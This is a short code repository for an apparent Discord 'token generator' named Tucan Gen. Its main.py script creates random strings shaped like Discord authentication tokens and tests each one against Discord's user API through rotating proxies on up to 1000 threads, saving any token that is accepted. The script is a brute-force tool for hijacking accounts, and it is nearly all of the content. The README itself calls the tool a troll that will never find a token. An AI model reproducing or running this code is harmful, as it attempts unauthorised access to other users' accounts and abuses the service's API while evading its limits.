├── README.md ├── main.py └── proxies.txt /README.md: -------------------------------------------------------------------------------- 1 | 2 | this gen is a troll lmao ur never going to get a token 3 |

4 | 5 | 6 | 7 |

8 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import base64, random, string, requests, sys, os, threading 2 | 3 | 4 | class Gen: 5 | def __init__(self, threads): 6 | self.proxies = open('proxies.txt', 'r').read().splitlines() 7 | self.threads = threads 8 | self.hits = 0 9 | self.fails = 0 10 | 11 | def start(self): 12 | threading.Thread(target=self.title).start() 13 | while True: 14 | if threading.active_count() < self.threads: 15 | threading.Thread(target=self.check_tucan).start() 16 | 17 | def title(self): 18 | while True: 19 | os.system(f'title DC Tucan Gen ^| Hits: {self.hits} ^| Fails: {self.fails}') 20 | 21 | def tucan(self): 22 | encrypted_id = base64.b64encode(str(random.randint(000000000000000000, 999999999999999999)).encode()).decode().replace("=", "") 23 | encrypted_timestamp = random.choice(string.ascii_letters).upper()+"".join(random.choices("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOP0123456789", k=5)) 24 | hmac = "".join(random.choices("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOP0123456789", k=27)) 25 | 26 | return f'{encrypted_id}.{encrypted_timestamp}.{hmac}' 27 | 28 | def check_tucan(self): 29 | tucan = self.tucan() 30 | proxy = random.choice(self.proxies) 31 | 32 | try: 33 | req = requests.get( 34 | url = f'https://discordapp.com/api/v6/users/@me/library', 35 | headers = { 36 | "Content-Type": "application/json", 37 | "authorization": tucan 38 | }, 39 | proxies = { 40 | 'https': f"http://{proxy}", 41 | 'http' : f"http://{proxy}" 42 | } 43 | ) 44 | 45 | if req.status_code == 200: 46 | with open('tokens.txt', 'a') as _: 47 | _.write(f'{tucan}\n') 48 | else: 49 | sys.stdout.write(f'\r [x] Invalid Token: {tucan}') 50 | sys.stdout.flush() 51 | 52 | except: 53 | pass 54 | 55 | if __name__ == '__main__': 56 | gen = Gen( 57 | threads = 1000 58 | ) 59 | gen.start() 60 | -------------------------------------------------------------------------------- /proxies.txt: -------------------------------------------------------------------------------- 1 | http/https 2 | ip:port 3 | --------------------------------------------------------------------------------